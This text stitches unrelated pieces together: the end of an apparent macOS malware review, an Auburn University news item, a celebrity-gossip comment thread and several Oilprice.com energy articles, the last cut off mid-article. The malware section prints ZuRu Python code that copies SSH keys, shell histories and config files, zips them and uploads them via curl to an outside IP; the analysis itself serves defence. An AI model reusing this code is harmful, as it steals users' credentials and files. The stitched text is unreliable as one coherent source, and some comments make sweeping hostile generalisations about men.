As the Python code is not obfuscated, it fairly easy to understand. In a nutshell it copies various files (e.g. /.bashHistory , /.gitConfig , /.ssh , /.aws , etc) into a file named ~/Library/Logs/tmp/tmp.txt . These files are then zipped up and exfiltrated via curl to 54.254.189.27 .

Jamf researchers noticed a high similarity to the malware known as ZuRu (uncovered in 2021 and blogged about by yours truly here). Specifically both ZuRu and SentinelSpy leverage rather similar Python code to exfiltrate files. Below is a snippet from ZuRu s g.py file:

1 def writeFile (): 2 username = get_username() 3 foldername = '/Users/' + username + '/Library/Logs/tmp' 4 zipname = '/Users/' + username + '/Library/Logs/tmp.zip' 5 filename = '/Users/' + username + '/Library/Logs/tmp/tmp.txt' 6 if os . path . exists(foldername): 7 # print('11111') 8 shutil . rmtree(foldername) 9 os . makedirs(foldername) 10 with open(filename, 'a+' ) as file: 11 ... 12 file . write( 'hosts : [ {} ]' . format(get_hosts()) + '

' ) 13 file . write( ' : ' + get_username() + '

' ) 14 file . write( 'test : [ {} ]' . format(subprocess_popen( "bash -c ls /" )) + '

' ) 15 16 bashHistory = '/Users/' + username + '/.bash_history' 17 zshHistory = '/Users/' + username + '/.zsh_history' 18 19 gitConfig = '/Users/' + username + '/.gitConfig' 20 hosts = '/etc/hosts' 21 ssh = '/Users/' + username + '/.ssh' 22 zhHistory = '/Users/' + username + '/.zhHistory' 23 ... 24 if os . path . exists(bashHistory): 25 shutil . copyfile(bashHistory, foldername + '/bashHistory' ) 26 if os . path . exists(zshHistory): 27 shutil . copyfile(zshHistory, foldername + '/zsh_history' ) 28 if os . path . exists(gitConfig): 29 shutil . copyfile(gitConfig, foldername + '/gitConfig' ) 30 if os . path . exists(hosts): 31 shutil . copyfile(hosts, foldername + '/hosts' ) 32 if os . path . exists(ssh): 33 shutil . copytree(ssh, foldername + '/ssh' ) 34 if os . path . exists(zhHistory): 35 shutil . copyfile(zhHistory, foldername + '/zhHistory' ) 36 ... 37 zip_ya(foldername) 38 shutil . rmtree(foldername) 39 40 command = "curl -F \" file=@" + zipname + " \" \" http://47.75.123.111/u.php?id= %s \" -v" % serialId 41 os . system(command) 42 os . remove(zipname) 43 ...

almost identical! 

Indicators of Compromise (IoCs):

IoCs for SentinelSneak include the following (credit: ReversingLabs):

Network: 54.254.189.27



For a (rather long) list of hashes of the malicious python packages, see ReversingLabs report.

 And All Others

This blog post provided a comprehensive technical analysis of the new mac malware of 2022. However it did not cover adware or malware from previous years. Of course, this is not to say such items are unimportant.

As such, here Ive include a list (and links to detailed writeups) of other notable items from 2022, for the interested reader.

 Detections

New malware is notoriously difficult to detect via traditional signature-based approaches as, well, its new! A far better approach is to leverage heuristics or behaviors, that can detect such malware, even with no a priori knowledge of the specific (new) threats.

For example, imagine you open an Office Document that (unbeknownst to you) contains an exploit or malicious macros which installs a persistent backdoor. This is clearly an unusual behavior, that should be detected and alerted upon.

Good news, Objective-Sees free open-source macOS security tools do not leverage signatures, but instead monitor for such (unusual, and likely malicious) behaviors.

This allows them to detect and alert on various behaviors of the new malware of 2022 (with no prior knowledge of the malware).

For example, lets look at how SysJoker , the first malware of 2022, was detected by our free tools:

First, BlockBlock detects SysJoker s attempt at persistence (a launch item named com.apple.update.plist ):

BlockBlock's alert

LuLu, our free, open-source firewall detects when the malware first attempts to beacon out to grab the encrypted address of its command and control server:

LuLu's alert

And if youre worried that you are already infected with SysJoker ? KnockKnock can uncover the malwares persistence (after the fact):

KnockKnock's detection





Objective-See's Tools. For more information about our free, open-source tools, see:

 Conclusion:

Well thats a wrap! Thanks for joining our journey as we wandered through the macOS malware of 2022.

With the continued growth and popularity of macOS (especially in the enterprise!), 2023 will surely bring a bevy of new macOS malware.

so, stay safe out there!




It was another milestone day and celebration surrounding Auburn Universitys College of Human Sciences Horst Schulze School of Hospitality Management as The Ritz-Carlton Hotel Company co-founder Horst Schulze was honored with a naming dedication on Jan. 23 at the Tony and Libba Rane Culinary Science Center.

Mr. Horst Schulze, the co-founder and former president of The Ritz-Carlton Hotel Company, is synonymous with excellence and success, said Auburn President Christopher B. Roberts. He is a visionary and a mentor, an icon in the hospitality industry, and now his name and wealth of wisdom are forever sewn into the fabric of the College of Human Sciences at Auburn University.

A generous anonymous gift made in honor of Schulze forever connects his name to what is now the Horst Schulze School of Hospitality Management.

In addition to Roberts, the naming dedication included invited guests and key college and university leaders, including Auburn University Board of Trustees President Pro Tempore Bob Dumas, College of Human Sciences Dean Susan Hubbard, head of the Horst Schulze School of Hospitality Management Martin ONeill and many of Schulzes family members and colleagues to honor the lifelong hospitality icon.

At just 14 years old, Schulze began learning the importance of hard work, as his humble beginnings included cleaning ash trays and tables at a hotel in Germany. That hard work taught him the meaning of excellence, and in the years to follow, Schulze would ultimately help establish and operate a $2 billion dollar-international hotel company.

Auburns hospitality management program was established in 1987 and became the academic model as it is known today in 2002, integrating industry professionals in supporting roles, with the vision and assistance of Schulze.

At an invitation he almost did not accept due to a full professional calendar, Schulze joined the Deans Advisory Board in the College of Human Sciences almost 30 years ago.

As part of the ceremony, Schulze was awarded a framed resolution honoring the naming of the Horst Schulze School of Hospitality Management and a bronze eagle statue bearing the schools new name.

I am especially touched to know this School of Hospitality Management at Auburn University is where Horst Schulzes name will be displayed, and his experience and wisdom will resonate through the halls and lives of every student and faculty member passing through for years to come, Hubbard said. The eagle is symbolic of pride, strength, honesty and truth. It is also known for its strong vision  all qualities you exemplify and desire to share with others.

Of course, the eagle also represents the Auburn spirit.

Echoing Hubbards remarks, ONeill said he was intimidated at first that Schulzes name would forever be synonymous with the School of Hospitality Management because of the level of excellence, attention to detail and integrity Schulze brings to the program.

Listen, the facilities alone have already increased our enrollment, now you add Horst Schulzes involvement, and the sky is the limit, ONeill said. Its very reassuring to know that moving forward the next generation of hospitality leaders will be stepping out of the Horst Schulze School of Hospitality Management. I can assure you these graduates will live, breathe and practice excellence every single day and will make you proud.

Horst, it is an honor and a privilege to be a part of your journey in this way. Please know that my team and I are eager and enthusiastic to carry on the legacy your life journey exhibits.

More information on the Horst Schulze School of Hospitality Management can be found on its website.
You didn't use the New Post Editor but you did forget to add a cut, so I'm going to have to put you on probation.



Edited at 2023-01-24 02:43 pm (UTC)

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Sorry but what are the standards for needing a cut? Ive had posts longer than this and I wasnt told I needed a cut. This post seems pretty short?

Im curious as someone who makes posts.

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> Long paragraphs of text or a collection of multiple tweets (3+), Insta posts (3+), and videos (2+) should all be put under LJ cuts, too. (from the rules)



I check both on phone and desktop so sometimes my feeling of length is off. I'm also cut happy.

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Im dead at the red crayon.





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All white cis males will run out on goodwill one day - maybe this is his time.

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my time is nigh 

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You hold an ONtDU Honorary Doctorate in Womens Studies, youre safe.

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Of course ONTD agreeing with the extremely sexist premise that a trans woman is "more woman" than a cis woman lol

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What's up with white British people and the name India?

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It's the colonizer in them.

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Yeah but they arent naming their kids Kenya or Cyprus. Its weird that its specifically india.

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what's the name of the awful woman who was racist about people naming children after countries despite her child being named India?

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This raises the question, if it is his 2nd time liking a tweet from JKR.. Is he following her?

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yes he is

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That says enough about him.



Edited at 2023-01-24 03:11 pm (UTC)

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THIS IS ALL I (AND ANY TRANS PPL OR ALLIES) NEED TO KNOW



thank fuck i dont give a shit about star wars

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Her, Joss Whedon and Nathan Fillion.

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As a trans person, yeah this one sucks.



It'll be interesting to see what sort of excuse he uses this time. You just can't trust a cis man. And honestly, I've learned the ones that are super vocal or ott when it comes to allyship are usually sus tbh.

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truly. the one cis man I know who is actually a good person never labels himself as an ally or a feminist because. he doesnt have to lol. his actions speak volumes and the way he talks and when he doesnt talk says it all.



meanwhile EVERY cis dude Ive met who labels himself as those things turns out to be a disgusting creep (shocking)

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Exactly- actions speak for themselves. And your last statement is so true.



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Im so sorry youre having to see this.



Im not trans but when I saw it at work today my heart just sank, because hes come to mean so much to so many people.



I hope he addresses it and does a better job this time because theres a lot of right-wingers or SWs bros who need educating and he could raise the issue of JKRs transphobia at a public level because hes one of the few celebs whose level of public sympathy can rival hers.





Edited at 2023-01-24 04:18 pm (UTC)

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It's just such a disappointment. I thought he was a good egg :(

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Darth Vader nooooooo.gif



They all disappoint eventually tho. You either die a hero or live long enough to see your liked tweets exposed

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ONtD, this is my first post but I've got to know, do you have any hope left for the male species?



No

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Honestly, Ive seen so much hatred from men online these past few days alone. If I had faith in them before, I wouldnt have it now.



Edit: Case in point: Ive looked at the above tweet and in the last 10 minutes, Ive seen men writing scary things about women they see as wh*res (as well as posting pictures of real women to mock, including a full account thats dedicated to doing this and has half a million subscribers), men saying women shouldnt be allowed to drive and men saying women are to blame for men historically taking away our rights, because were so awful/stupid, as well as saying we need more rights taken away and quite a bit more that Im leaving out.



Men online are terrifying.



Edited at 2023-01-24 03:44 pm (UTC)

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Men are trash but what exactly are you looking at or clicking on because Im on that thread right now and I dont see ANY of the tweets youre talking about. Every tweet is responding to Erin.

You remind me of another user who keeps getting banned and making new accounts and constantly telling us in detail all the triggering and disturbing stuff they seem to casually come across. 

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Not just the correct response, the only response. Though it shouldve been cis-men.

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Never had hope for any human.

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Sexiest thing Ive ever seen on stage tbh magic Mike whooo







He (and Tom for the most part) have been consistent since like 1990!!



Edited at 2023-01-24 03:24 pm (UTC)

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i second this

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King

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There a show he goes off about indigenous corn and crops and how white people Wouldnt have themand someone shouts play music and hes like you wanna hear music my friend well well play music when were god damn ready to play music. I cant find it now, but its one of my favorite speeches to listen to.

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Yes! Love this man.



P.s. give us more music Zack, we can't survive off Run the Jewels features!

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yes we love zach

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I'm glad people are getting over their fear and making new posts, just....wish the contents of this post weren't happening :(

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Why is there a fear for making a post? Whatd I miss lol

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Lol same!

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There was a moment when people were acting like they had to hack the planet to be able to make a post. It's embed tweet, add source and tags and Bobbette's your aunt.

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A lot of people who talk a big game complaining about what gets posted (I haven't seen that from OP, but in general,) usually have never made a post themselves. They're high and mighty but don't contribute.

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rules changing with every mod

mass banning in the past

other sites against people posting their content on LJ

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Well you know what they say, fear leads to anger, anger leads to posts, posts lead to suffering.

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There's quite a lot of rules for posting so I don't blame people for not wanting to.

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I hate pepper who complain about the existence of certain posts. Fucking scroll! We need posts to keep going

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mark hamill liked a gross rowling tweet before without knowing the context (tweeted an apology after) and he has also tweeted in support of trans rights before, for what its worth. that being said, after you got burned the first time (and after swearing up and down he disagrees with her) why is he still openly associating with rowling?



not the first time hamill is dumb on social media too, i unfollowed him everywhere a while ago cause he just gives me so much second hand embarrassment. i don't exactly remember what the final drop was for me, but it was enough to have me ignore his online presence forever lol.

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He strikes me as veryperformative, like hes always on and he plays the nerdy Dad role but its clear he knows how to wield his power and not always in the nicest ways.



Its an artifice which Carrie Fisher, for all her being Hollywood royalty, lacked.

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He was rather a backstabbing asshole to Rian Johnson who, in my opinion, wrote the most nuanced version of Luke and brought him back to the core of the character after JJ just willy-nilly sent him hiding on a planet contacting no one for decades with no plan in mind. And through his direction brought out one of, if not, Hamil's finest performances. That's just my opinion, though.

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I'm the same way about Rahul Kohli. I still want to admire his beautiful face now and then, but I had to unfollow him on social media. He's just...a lot.

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I unfollowed him a while back for retweeting a video of animal abuse. It was really upsetting and I'm not sure what he was hoping to achieve, like we know you think it's bad and you can absolutely say that and make reference to it without sharing the video to your millions of followers.

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Unfollowed him too, he's been too much for a while.

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He seems "very old man, kinda out of touch".



I'm basing this on his looks. I know nothing about him otherwise.



Lmao! I'm an idiot.

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Well, all of them will disappoint us at some point. It still hurts though.



I hope my remaining favs won't disappoint me too much.

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Remember years ago when DanRad was asked about racism or whatever and he said something like 'friends can disagree but still be friends'? This feels VERY that



Like I think white men - specifically cis straight ones - especially are blaze or downplay the severity or harm that staying friendly with harmful people/people with harmful ideals is or think that they csn pick and choose aspects about this person and still stay in contact with them for those reasons and just shrug about the rest. Or think that we should all 'try to get along' or 'try to see the good in people' which is SO like....of COURSE your white ass at the top of the privilege hierarchy can afford to do that but those of us not there take this shit WAY more seriously and being an ally or supportive of marginalized people is about more than just the big stuff but also about the seemingly smaller to you stuff too like this. Because at the end of the day maybe he isn't a terf and does support LGBTQIA communities but it's hard not to wonder about you if you still associate with people who publicly and loudly don't.

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I don't understand how you can stay friends with people who mean harm on other people or think less of them? Like?

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i guess its like how bts is with supreme boi 

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They haven't suffered any sort of discrimination and don't care to think how it must feel for others.

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Mte its the same thing to me why bother splitting hairs the only thing that benefits is those arseholes. They are you, you are them you are the company you keep etc.

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Its hard for me because I have family members whom I otherwise love. Its a frustrating position to be in. I usually try and show them the way but to be honest, I'm getting tired of trying. Its best to keep them at arm's length.

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This is going to sound jaded but as I've gotten older, I've found most people dgaf about something if it doesn't affect them and this is across all genders, sexuality, races, etc. I like when people prove me wrong though.

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trust no man

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ONTD, what would you do if you were 25 million in debt?





Play a concert in Dubai, idk?

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Kill it with fyre.

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But what does #COMRADEJA think

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why did I think we had a "where's ja" tag and why did I spend so much time searching for it

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Edited at 2023-01-24 07:07 pm (UTC) No words

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Okay I'll leave.

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I thought that was Steve Martin, except worse looking.

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the real hero

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I want to see how many dumb influencers are going to fall for this a second time.

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ONTD, what would you do if you were 25 million in debt?



Double down, baby.

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Billy, is that you?

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Depends. You cool? 

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one day I would love to have the audacity of a white man.

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Right? It must be fun and freeing (if short lived)

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Literally just what I was thinking

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Wait. He was put into solitary confinement for seven months for calling into a podcast??

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And 3 months for having a USB drive? I don't buy it. He's trying to make himself sound more hardcore.

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25 million in debt? Ditch the Starbucks! Dine at home and skip the Doordash!

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No more avocado toast!

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ditch the streaming! stream free content! get a budget smart phone!

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What in the absolute record breaking level of audacity is this

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ONTD, what would you do if you were 25 million in debt?





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Don't remind me.

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PYRT (pronounced Pirate)



Add another to his list of crimes.

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i thought it was supposed to be a stealth fart sound

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Oh, I thought it was pert, like what British people say to describe perky t&a.

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this style of app naming is SO PASSE

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I won't feel sorry for anyone who claims they were hustled, scammed, bamboozled, hood winked, or lead astray if they actually pay into this Billy MacFarland venture and get sent to the north Atlantic garbage patch or w/e.

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"...and selling archival footage to an upcoming documentary focused on McFarlands next move, After the Fyre."





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Meh. Everyone knows what type of box Billy's working out of, and if they don't it's easily Googled. Let fools and their money be parted!

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ExxonMobil made its first world-class oil discovery in Guyanas territorial waters in 2015. Since then, the energy supermajor has made over 30 high-quality oil discoveries in the 6.6-million-acre Stabroek Block which Exxon estimates holds at least 11 billion barrels of recoverable oil resources. Those discoveries have triggered an extraordinary energy boom, with Guyana emerging as a world-recognized petroleum producer. By the end of 2022, the former British colony was pumping an average of 360,000 barrels per day and ranked 17th globally by oil reserves. Guyanas territorial waters are believed, by the government in Georgetown, to contain over 25 billion barrels of oil resources, underscoring that there are further world-class oil discoveries ahead. This tremendous hydrocarbon endowment is proving to be a boon for Guyanas economy. There is every indication that unlike neighboring Suriname, which shares the Guyana-Suriname Basin and hit some difficulties, Guyanas burgeoning hydrocarbon boom will power ahead during 2023.

Offshore Guyana, in as little as seven years, has emerged as the worlds hottest frontier oil play. It is attracting considerable attention from foreign petroleum companies seeking to boost their reserves and production with lighter, sweeter crude oil, which has a relatively low carbon intensity to lift. Guyanas appeal to energy investors is bolstered by favorable geology, growing petroleum infrastructure and low breakeven prices that are estimated to be at around $35 per barrel. While the government in Georgetown has made it clear that oil companies will not be obtaining production-sharing agreements on excessively advantageous terms as the Exxon-led consortium did with the Stabroek Block, Guyana still has an attractive regulatory regime. Under the revamped PSAs oil companies will pay a 10% royalty, one of the lowest in South America, on all petroleum produced and sold. There is also a 50% split of oil profits with Georgetown and a 10% corporate tax.

The updated PSA forms part of the governments plans to promote Guyanas offshore oil industry while boosting the country's cut of oil revenues, which will bolster an already rapidly growing economy while funding the development of crucial infrastructure. Key to Georgetowns plans to drive greater foreign interest and investment in offshore Guyana is the first-ever oil auction announced by the Ministry of Natural Resources in December 2022. The bid round sees a mix of 14 shallow and deepwater blocks on offer to oil companies.

The three deepwater blocks are situated east of the Kaieteur Block and north of the Canje Block in an area that is believed to be highly prospective with considerable petroleum potential. The deepwater Kaieteur and Canje Blocks, which are adjacent to the prolific Stabroek Block, are operated by Exxon, which holds a 35% interest in each block. Despite disappointing drilling results, Exxon is pressing ahead with a drilling campaign to identify and delineate what is believed to be the considerable oil potential held by the blocks. The hydrocarbon fairway is thought to extend into the three neighboring deepwater blocks being auctioned. There are also 11 shallow water blocks close to Guyanas coast which resemble the offshore shallow water bid round held by Suriname in 2020.

Guyana Blocks for Tender December 2022 Bid Round

Source: Guyana Ministry of Natural Resources.

The auction closes on 14 April 2023 with the blocks for successful bids to be awarded during the second quarter 2023. Energy companies can bid on as many blocks as they wish but a maximum of three blocks will be awarded to a single company. Upon signing a $10 million signing bonus is payable for shallow water blocks which increases to $20 million for the three deepwater blocks. Successful bidders must provide developments programs and present guarantees for the planned work which if not completed could see penalties imposed by Georgetown and even the acreage being reclaimed.

According to Reuters, Guyanas oil auction is attracting considerable interest with major energy companies from Asia to Europe reviewing the opportunities available. President of Exxons Guyana subsidiary, Alistair Routledge, told Reuters that the energy supermajor is considering whether to bid on the blocks. The deepwater blocks on offer are a natural fit with Exxons existing stakes in the neighboring Stabroek, Canje and Kaieteur Blocks where it is the operator.

The scale of Guyanas oil boom and the boost it is giving to the impoverished South America countrys economy is nothing less than phenomenal. In a period of seven years, since Exxons first 2015 oil discovery, Guyana has emerged as a major regional oil producer and is on track to become a top-tier global petroleum exporter. The former British colonys reserves are steadily growing. S&P Global recently calculated that more than 15 billion barrels of oil have been discovered in Guyanas territorial waters since Exxons 2015 Liza find. Petroleum reserves will expand at a solid clip if the current rate of exploration success continues, which is highly likely when the considerable capital being invested in offshore Guyana is considered.

Guyanas oil production is rapidly expanding. Exxon projects installed capacity in the Stabroek Block will reach 830,000 barrels per day by 2025 when the 250,000 barrel per day Yellow Tail development comes online. The energy supermajor also forecast that Guyanas petroleum output will hit one million barrels per day by 2030. Industry consultancy Rystad Energy estimates Guyana will be pumping 1.7 million barrels per day by 2035, which is higher than other major offshore basins including the Gulf of Mexico, ranking the country as the worlds fourth largest offshore oil producer. S&P Global predicts existing oil discoveries are sufficient to drive production to two million barrels daily by 2035, with any additional finds likely to lift that number even higher. Growing foreign investment in Guyanas hydrocarbon sector coupled with the building-out of crucial industry infrastructure will unleash the basins full potential leading to additional discoveries and rising oil reserves as well as production.

Rapidly rising oil production will significantly boost government revenue and Guyanas economy. Finance Minister Ashni Singh stated 2023 petroleum revenue will grow by 31% year over year to $1.63 billion. Rising fiscal income from royalties and oil exports will allow Georgetown to fund additional investment in critical industry infrastructure including deepwater ports, natural gas fired powerplants and oil refineries. As those assets come online, they will drive even greater investment in exploration and development activity while helping to reduce operating costs and breakeven prices. Guyanas massive oil boom is responsible for notable increase in economic growth. Guyanas 2021 gross domestic product expanded by a notable 23.8% and then a whopping 57.8% for 2022 with 25.2% forecast for 2023. That stunning rate of economic growth will continue as Guyanas oil boom accelerates with foreign energy investment pouring into what is described as the worlds hottest frontier oil play.

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By Matthew Smith for Oilprice.com

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Following the signing of the Paris Agreement by 193 states and the EU and after the COP27 climate summit in 2021, several major financial institutions came under fire for their continued support of fossil fuel companies. As governments worldwide introduce new climate policies and put pressure on oil and gas firms to improve operations and curb their carbon emissions, international organisation and environmentalists are asking that increased pressure be put on banks to cut funding for fossil fuel projects in favour of low-emissions alternatives. But despite bold promises from many financial groups, a high level of investment is still expected to be funnelled into fossil fuel operations in 2023 and beyond.

The 2022 Rainforest Action Network (RAN) report Fossil Fuel Finance Report showed which financial institutions were still pumping money into oil, gas, and coal operations and the main trends in fossil fuel funding from 2016 to 2022. Global fossil fuel financing stood at $723 billion in 2016 and remained fairly stable over the next five years, rising to $742 billion in 2021. The financial institutions offering the largest fossil fuel investments were JPMorgan Chase, Citi Bank, Wells Fargo, Bank of America, and RBC.

Following the announcement from the International Energy Agency aiming for net-zero carbon emissions for 2050, 44 of the 60 banks discussed in the report committed to the aim of no new oil and gas fields. However, many of these banks continue to offer funding to oil and gas companies. According to the report, 27 of the 44 banks identified still have no meaningful corporate-level no-expansion policy for any part of the fossil fuel industry.

These financial institutions have been repeatedly and publicly condemned for their continued financing of fossil fuel projects. U.S. Congresswoman Rashida Tlaib stated, Our planet is staring down a point of no return, and the worlds largest financial institutions are pouring gasoline on the fire. Meanwhile, Alison Kirsch, the research and policy manager at RAN, explained: These financial institutions are directly complicit in undermining a climate stable future for us all and must immediately end their support of any further fossil fuel infrastructure expansion. And David Tong, the Global Industry Campaign Manager at Oil Change International, said, the fundamental arithmetic of 1.5C requires oil and gas production to decline by at least 3-4% per year, starting now. But no major oil and gas company has committed to ending expansion, and banks around the world continue to pour billions into fossil fuels. That must stop now. If the banks responses to the climate crisis are to be taken seriously, they must commit to ending finance for fossil fuels.

There have been some positive steps forward over the last year, with one of the worlds largest banks  HSBC  stepping away from fossil fuel investments. In 2022, HSBC, the seventh largest bank in the world, announced it would no longer be supporting oil and gas projects. Before the decision, HSBC was one of the biggest lenders to energy companies globally. The decision taken by HSBC means that no funding will be given to new oil and gas fields, although financing for existing projects will continue, as well as new funds being offered to renewable energy projects. In the U.K., both Natwest and Lloyds Bank have announced plans to reduce fossil fuel financing. The Dutch bank ING and French lender La Banque Postale have also made similar pledges. Meanwhile, Barclays has instead decided to ramp up its financing for sustainable energy startups.

Yet, at the beginning of 2023, new reports show that financing for fossil fuel operations from major financial institutions is set to continue. Following COP26, the U.K. launched the Glasgow Financial Alliance for Net Zero (GFANZ), which aims to align major investments worldwide with the target of limiting temperature increases to 1.5oC above pre-industrial levels. This led 450 groups across 45 countries with assets of at least $130 trillion to sign the GFANZ agreement. Yet, recent data, gathered by Reclaim Finance, suggests that hundreds of billions of dollars have been pumped into fossil fuel projects since GFANZ.

According to the report, at least 56 of the biggest banks in the net-zero banking alliance grouping (NZBA) have provided $270 billion to 102 fossil fuel companies for their expansion, through 134 loans and 215 underwriting arrangements  this includes HSBC. Paddy McCully, a senior analyst at Reclaim Finance, stated of the funding, GFANZ members are acting as climate arsonists. Theyve pledged to achieve net zero but are continuing to pour hundreds of billions of dollars into fossil fuel developers. GFANZ and its member alliances will only be credible once they up their game and insist that their members help bring a rapid end to the era of coal, oil, and fossil gas expansion.

Many of the worlds largest financial institutions have announced ambitious climate targets and signed carbon-cutting pledges since the Paris Agreement and COP26, and yet few appear to be following through with their promises. Reports from 2022 and 2023 show that many of the worlds major banks are continuing to fund new oil and gas projects, which is hindering climate aims announced by the IEA and other institutions and governments. Unless this stops, meeting these climate aims will be near impossible, as oil and gas groups are unlikely to lead the green transition themselves.

By Felicity Bradstock for Oilprice.com

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Offshore drilling is picking up everywhere as demand shows no signs of declining, no matter what apocalyptic visions climate speakers try to paint.

At last weeks World Economic Forum gathering in Davos, several speakers had harsh words for the oil and gas industry, including UN head Antonio Guterres and the IEAs chief Fatih Birol. Their message was clear: we need to stop producing oil and gas to solve the climate problem.

While this was happening, however, the world continued to need energy, and oil and gas continued to be the optimal form of energy for most of the things we need energy for. So, with demand forecastincluding by the IEAto surge this year above the growth rate of supply, new drilling is flourishing. Especially offshore.

In December last year, Oilprice reported that the stocks of offshore drilling contractors such as Transocean, Valaris, and Noble Corp were skyrocketing amid robust demand for their services, with day rates for drilling rigs surging as well.

Now, the Wall Street Journal is reporting that rates could top $500,000 per day, up from about $400,000 at the moment, with offshore drilling picking up everywhere as demand shows no signs it is about to start declining, no matter what apocalyptic visions climate speakers try to paint.

Over the past year and a half, everyone started drilling again offshore, and they want to use the most efficient rigs and all of a sudden, bam! Noble Corp chief executive Robert Eifler told the Wall Street Journal. After eight years we basically have full utilization of the high-end drillship fleet.

A roundup of the biggest deals signed in the offshore drilling industry last year reinforces the perception of a strong revival. The biggest deal was QatarEnergys contract with McDermott for expanding the production capacity at the North Field, which McDermott said is one of the largest single deals in its history.

Qatar was also involved in the second-largest offshore deal for 2022, with Italys Saipem, again for the North Field, which is understandable as the Qatari government plans to boost the countrys LNG production capacity from 77 million tons annually to 110 million tons. That means there will be a lot of work for offshore drilling contractors.

Adnoc is also boosting its production capacity with the help of Schlumberger and Halliburton, which got two contracts with the Emirati major last year worth some $4 billion. The same is true for Aramco, which has announced plans to increase its oil production capacity by 1 million barrels daily to a total of 13 million. According to Evercore, most of Saudi Arabiasand the UAEsnew capacity will come from offshore developments.

Norway is also eyeing strong expansion of its oil and gas drilling, all of which takes place offshore, despite previous government pledges for a gradual reduction in oil and gas production and a shift towards renewable energy. Earlier this month, Norways petroleum ministry awarded 47 new exploration licenses to 25 companies.

Offshore drilling is booming in Brazil, Guyana, and Suriname as well, per the Wall Street Journal. Brazils Petrobras said it will boost spending between 2023 and 2027, with most of the money going into exploration and production. Guyana is enjoying the results of a string of offshore discoveries that have boosted the tiny nations oil exports by 164 percent in 2022, with revenues hitting $1.1 billion. Suriname is seemingly on Guyanas path to oil riches, although it is meeting some challenges.

Analyst expectations about the offshore drilling market appear to be upbeat. Oil prices are higher than they were in 2019, oil demand is strong, and offshore drilling contractors are turning a nice profit. Deepwater drilling is particularly attractive since thats where most of the worlds untapped oil resources are.

According to data from Westwood Global Energy Group, some 90 percent of the worlds offshore rigs were contracted to work or were already working as of last December. Thats up from about 60 percent five years earlier, the WSJ noted in its report.

This surge in demand for offshore drilling, especially in deep waters, has also revived demand for drillships that were put offline during the pandemic and the industry downturn it caused. Drillships cost about $100 million to put back online, and owners are demanding most of the money upfront.

And their clients are paying it: the WSJ notes a deal between Valaris and Equinor for a drillship that was sent to drill in the deep waters offshore Brazil. Of the total value of the deal$327 million$86 million was paid upfront, including for the reactivation of the vessel.

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So, despite increasingly loud calls for what effectively amounts to shutting down the oil and gas industry, the real world is demanding more oil and gas, and the industry is delivering. From the shores of Brazil to the North Sea and the Persian Gulf, drilling contractors are putting up rigs to pump more oil and gas from underneath the seabed. Analysts are calling it a supercycle.

By Irina Slav for Oilprice.com

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Vladimir Putins plans are falling to pieces. Slowly but surely, Russia is losing its war against Ukraine. At the same time, it is losing nearly all of its most key political and economic allies, and losing a decent chunk of the market for its energy exports, which serve as the backbone of the Russian economy. Euractive has called Russias illegal invasion of Ukraine a profound miscalculation and states that at the political level, Putin is trying to influence the UN agenda but has succeeded in being little more than a pariah."

This doesnt mean, however, that the war is over. Experts estimate that Russia still has approximately 1.3-1.5m tons of Soviet-era munition stored away. This hoard would be enough to last until May or June of this year at the present bombardment rate. And then theres the countrys annual munitions production capacity of around 500,000 tonnes per year. Putin might not escalate, reports Euractiv, but buying time will support a war of attrition rather than accept failure.

Of course, Russia is threatening to escalate. As world leaders converge to arm Ukraine in support of the besieged country, Putin has made threats to flex the Kremlins considerable nuclear might. Defense Minister Sergei Shoigu has also said that Russia will not be backing down, but rather be deploying more soldiers and more military infrastructure. However, many experts believe this to be the empty rhetoric of a losing team. Put simply, its not clear whether Russia has the funds to continue to draw out this war. "Shoigu's announcements since December have been a little surreal to see," said Dara Massicot, a senior policy researcher at RAND Corporation, was quoted by CBS News. "[His] statements of more billets and more divisions will need more people and equipment to populate them (even if they fall short of targets). This is a tall order to achieve by 2026 without major changes to the Russian economy and personnel system."

The fact is that Russia is running out of money. An unseasonably warm winter in Europe has so far foiled Putins plans to ratchet up oil and gas prices to fund the nations considerable military expenses. Last month, Russias fossil fuel export revenues fell 17%, marking their lowest level since before the invasion of Ukraine early last year. The European Unions most recent round of sanctions, buoyed by the warm weather, have also hit the Kremlin where it hurts: since December, Russias net energy export revenues declined a whopping 160 million ($172 million) a day.

Yes, gas prices are still high, but the punishing prices and shortages predicted have not materialized, and Europes natural gas storage has been refilled. Theres still the chance that an extreme and prolonged cold snap in the coming months could tip the scales back in Russias favor, but as of now the projections are rosy for the European bloc. Most industry predictions are now for the spring and summer gas storage refill season to start from a high base, reports the Financial Times, calming fears that winter 2023/24 could be a bigger challenge given the much lower Russian flows compared with the first half of last year.

Whats more, other oil and gas producers are stepping up to fill the gap left by flagging Russian imports. According to Quartz, the US is surpassing Russia as Europe's top energy supplier, while also warning that the market is set to tighten later this year, meaning it may be a bit too early to celebrate. China is a major factor in volatile energy prices, and the countrys return to the world economy after finally ending its zero-Covid policy could majorly upend the market once the current Covid surge is under control.

Considering this, its important that Europe keeps its eye on the horizon. Even if this winter continues to be mild, theres no guarantee that Russian energy exports will remain sufficiently suppressed to bring about an early end to the war. The only real way to win the energy war, according to the Financial Times, is to divest from fossil fuels and bolster domestic energy production capacity through longer-term climate-resilient solutions such as nuclear, wind, and solar.

By Haley Zaremba for Oilprice.com

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Things were not meant to go like this as far as Russia and Iran, and indeed China, were concerned, following the invasion of Ukraine on 24 February 2022. Within a week of that date, President Vladimir Putins vision ran, Russia would have secured control over its neighbour. In oil and gas terms, this would have meant the continuation and expansion of Russian gas flows into Europe through Nordstream 2 and oil shipments being increased into the south of the continent. This would also have meant that a big increase in gas and oil from Iran would have been very useful to Russia for logistical reasons and for control over pricing. This is why just before Russia invaded Ukraine, Putin personally ordered the signing of several memoranda of understanding (MoU) to ensure continued Russian influence in the Islamic Republic. Fate, however, can be a fickle mistress and if that was Putins vision, then he would be well advised to visit an optician. As it now stands, Russia is stuck in a disastrous war of attrition in Ukraine and Iran cannot make any meaningful progress on its flagship gas project, South Pars Phase 11 (SP11).

According to a senior oil and gas industry figure who works very closely with Irans Petroleum Ministry spoken to exclusively by OilPrice.com last week, the beginning of 2023 saw a series of meetings between high-level officials from all the relevant ministries and companies connected to SP11 in order that a progress report be put together for the consideration of Supreme Leader, Ali Khamenei, and his team. The final report is split into three parts, the first one being the development history of the SP11 project up to the increased involvement of Russia and China after the U.S. unilaterally pulled out of the Joint Comprehensive Plan of Action (JCPOA) in May 2018 and reimposed sanctions on Iran and those who traded with it. This part is very long. The next part, which is considerably shorter, is the progress made by Russia and China on the project during their time at its helm. The third part, which is about as short as a line in a Samuel Beckett play, deals with the options for advancement on the project now.

